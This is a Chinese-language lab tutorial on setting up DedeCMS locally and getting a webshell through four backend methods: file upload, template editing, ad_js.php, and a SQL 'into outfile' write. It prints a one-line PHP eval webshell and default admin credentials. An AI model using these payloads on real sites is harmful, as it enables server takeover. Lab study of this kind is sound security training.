dedecms织梦【php网站】-----获取webshell攻略

Dedecms  是  织梦团队   的php网站管理系统  使用 小皮搭建网站

1.搭建dedecms网站

下载Dedecms压缩包，解压后，放在小皮搭建的网站根目录下。

开启小皮的Apache或者Nginx和MySQL服务

2. 获取webshell

2.1 姿势⼀：通过⽂件管理器上传WebShell

思路：dedecms 后台可以直接上传任意⽂件，可以通过⽂件管理器上传 php⽂件获取webshell..

2.1.1  访问网站进行安装

访问网址：ip/网址根目录的文件名/其中的uploads文件夹/install

http://172.16.2.41/DedeCMS/uploads/install

逐步完成安装，参数配置  数据库连接小皮的MySQL数据库。

2.1.2  配置相关信息，并进行后台登录

#后台     http://172.16.1.10/dede

#信息

username:admin

password:123456

2.1.3  上传一句话木马

2.1.4  访问文件，蚁剑连接

双击shell.php访问，将url在蚁剑进行连接，即获得webshell

2.2 姿势⼆：修改模板⽂件拿WebShell

2.2.1  修改网站默认模板，写入一句话木马

与WPCMS类似，直接修改模板拿WebShell..

点击 【模板】 --》 【默认模板管理】 --》 【index.htm】

---》【修改】 在⽂件修改中添加phpinfo();....如下       点击保存

2.2.2  更新主页

2.2.3   访问主页 

url：172.16.2.41/DedeCMS/uploads/index.php

2.3 姿势三：后台任意命令执⾏拿WebShell

获取拼接的部分路径：/DedeCMS/uploads/plus/ad_js.php?aid=1

拼接url进行访问：http://172.16.2.41/DedeCMS/uploads/plus/ad_js.php?aid=1

蚁剑进行连接，即获得webshell

2.4 姿势四： 通过后台sql命令执⾏拿webshell

点击系统---SQL命令行工具

输入：select @@basedir;    发现页面显示目录地址   可判断出网站根目录

into outfile 写入一句话木马文件

select '<?php @eval($_POST[cmd]);>'  into outfile 'E:/phpstudy_pro/WWW/shell.php'

DEDECMS 织梦  网站框架常见漏洞的利用

多种获取shell的方法练习。

练习结束，望大家能有所帮助和收获。

拜拜。。。

                                                                                        -------------2025/3/20  21:51